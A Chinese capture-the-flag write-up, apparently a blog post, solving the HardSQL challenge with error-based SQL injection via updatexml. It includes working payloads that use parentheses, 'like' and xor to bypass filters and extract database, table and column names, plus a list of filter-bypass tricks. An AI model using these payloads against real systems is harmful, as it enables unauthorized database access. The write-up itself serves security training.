报错注入 [极客大挑战 2019]HardSQL1

打开题目

输入1或者1",页面均回显NO,Wrong username password!!!

那我们输入1'

试试万能密码

1' or 1=1 #

输入1' and 1=2 #

输入1' union select 1,2,3 #

输入1' ununionion seselectlect 1,2,3 #

输入1' #

输入1'=#

页面依旧回显

说明页面过滤了=号,空格,union,就连双写绕过都不行

尝试了一下,发现and也被过滤了

我们就可以试试报错注入

我们先尝试updatexml函数

updatexml函数报错的原理是:

UPDATEXML(XML_document,XPath_string,new_value);

第一个参数:XML的内容

第二个参数:是需要update的位置XPATH路径

第三个参数:是更新后的内容

所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式

而第二个参数xpath_string(xpath格式的字符串),我们在注入的时候把第二个参数变为非xpath格式自然会报错

因为我们在上面的尝试中发现and,union,空格是被过滤的

注释符我们还是用#吧,用%23会报错

爆破数据库名

1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

或者1'^(updatexml(1,concat(0x7e,database(),0x7e),1))#

得到数据库名为geek

因为题目过滤了空格,我们用括号实现绕过

爆破表名

1'^(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#

1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#

得到表名为H4rDsq1

爆破列名

1'^(updatexml(1,concat(0x7e,(select(column_name)from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

然后我们得到了

它说我们的子查询要返回1行以上

那我们就更改一下代码

1'^(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

成功得到所有列名

爆破数据

知识点:

  • 什么是xor(异或)用法,和or(或)用法有什么区别?

①or是或运算,A or B的结果:当A、B中只要有一个或者两个都为1时,结果为1,否则为0;

即,有一个真即为真

②xor是异或运算,A xor B的结果:当A、B两个不同时结果为1,否则为0。

即,相同为假,不同为真

  • 在mysql中异或运算符的简介

mysql里异或运算符:^ 或者**xor;**

  • sql注入中绕过一些常见的特殊符号

1.绕过空格

注释符/**/绕过

非断开空格%a0(非断开空格是一种特殊的空格字符,与常规空格不同,它在文本中不会引起换行或断开。在URL编码中,非断开空格通常被表示为 %a0。)

括号绕过空格(如果空格被过滤,括号没有被过滤,可以用括号绕过。在MySQL中,括号是用来包围子查询的。任何可以计算出结果的语句,都可以用括号包围起来。而括号两端,可以没有多余的空格)

例如:select(table_name)from(information_schema.tables)where(table_schema)='数据库名'

双写绕过空格

%20绕过空格

2.绕过引号

引号以及引号内容全部转换为16进制

3.逗号绕过

用from或者offset绕过

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

对于limit可以使用offset来绕过:

4.等号绕过

用like即可绕过

5.比较符<>绕过

使用greatest()绕过(返回最大值)

使用least()绕过(返回最小值

6.绕过注释符号(如#,-- -)

原理是闭合后面的引号进行绕过

7.关键字绕过

知识点选自:https://www.cnblogs.com/lspbk/p/14440867.html#:~:text=SQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7%201%E3%80%81%E7%A9%BA%E6%A0%BC%E7%BB%95%E8%BF%87%E3%80%81%E5%BC%95%E5%8F%B7%E7%BB%95%E8%BF%87%E3%80%81%E9%80%97%E5%8F%B7%E7%BB%95%E8%BF%87%202%E3%80%81%E6%AF%94%E8%BE%83%E7%AC%A6%E7%BB%95%E8%BF%87%E3%80%81%E6%B3%A8%E9%87%8A%E7%AC%A6%E7%BB%95%E8%BF%87%E3%80%81%3D%E7%BB%95%E8%BF%87%203%E3%80%81%E5%85%B3%E9%94%AE%E5%AD%97%E7%BB%95%E8%BF%87%20%E5%AE%8C%E6%95%B4%201.%E7%BB%95%E8%BF%87%E7%A9%BA%E6%A0%BC%EF%BC%88%E6%B3%A8%E9%87%8A%E7%AC%A6%2F%2A,%2A%2F%EF%BC%89%EF%BC%9A%20%E6%9C%80%E5%9F%BA%E6%9C%AC%E7%9A%84%E7%BB%95%E8%BF%87%E6%96%B9%E6%B3%95%EF%BC%8C%E7%94%A8%E6%B3%A8%E9%87%8A%E6%9B%BF%E6%8D%A2%E7%A9%BA%E6%A0%BC%EF%BC%9A%20%2F%2A%20%E6%B3%A8%E9%87%8A%20%2A%2F%202.%E6%8B%AC%E5%8F%B7%E7%BB%95%E8%BF%87%E7%A9%BA%E6%A0%BC%EF%BC%9A%20%E5%A6%82%E6%9E%9C%E7%A9%BA%E6%A0%BC%E8%A2%AB%E8%BF%87%E6%BB%A4%EF%BC%8C%E6%8B%AC%E5%8F%B7%E6%B2%A1%E6%9C%89%E8%A2%AB%E8%BF%87%E6%BB%A4%EF%BC%8C%E5%8F%AF%E4%BB%A5%E7%94%A8%E6%8B%AC%E5%8F%B7%E7%BB%95%E8%BF%87%E3%80%82

相关推荐
脑袋大大的9 分钟前
判断当前是否为钉钉环境
开发语言·前端·javascript·钉钉·企业应用开发
军军君0118 分钟前
基于Springboot+UniApp+Ai实现模拟面试小工具二:后端项目搭建
前端·javascript·spring boot·spring·微信小程序·前端框架·集成学习
Wy. Lsy36 分钟前
Kotlin基础学习记录
开发语言·学习·kotlin
quweiie1 小时前
tp8.0\jwt接口安全验证
前端·安全·jwt·thinkphp
全栈凯哥1 小时前
16.Spring Boot 国际化完全指南
java·spring boot·后端
M1A11 小时前
Java集合框架深度解析:LinkedList vs ArrayList 的对决
java·后端
Tanecious.1 小时前
C++--红黑树
开发语言·c++
xiaoyan20151 小时前
最新Flutter3.32+Dart3仿微信App聊天实例
前端·flutter·dart
Top`1 小时前
Java 泛型 (Generics)
java·开发语言·windows
汪敏wangmin2 小时前
Fiddler-抓包后直接生成Loadrunner脚本或者Jmeter脚本
前端·jmeter·fiddler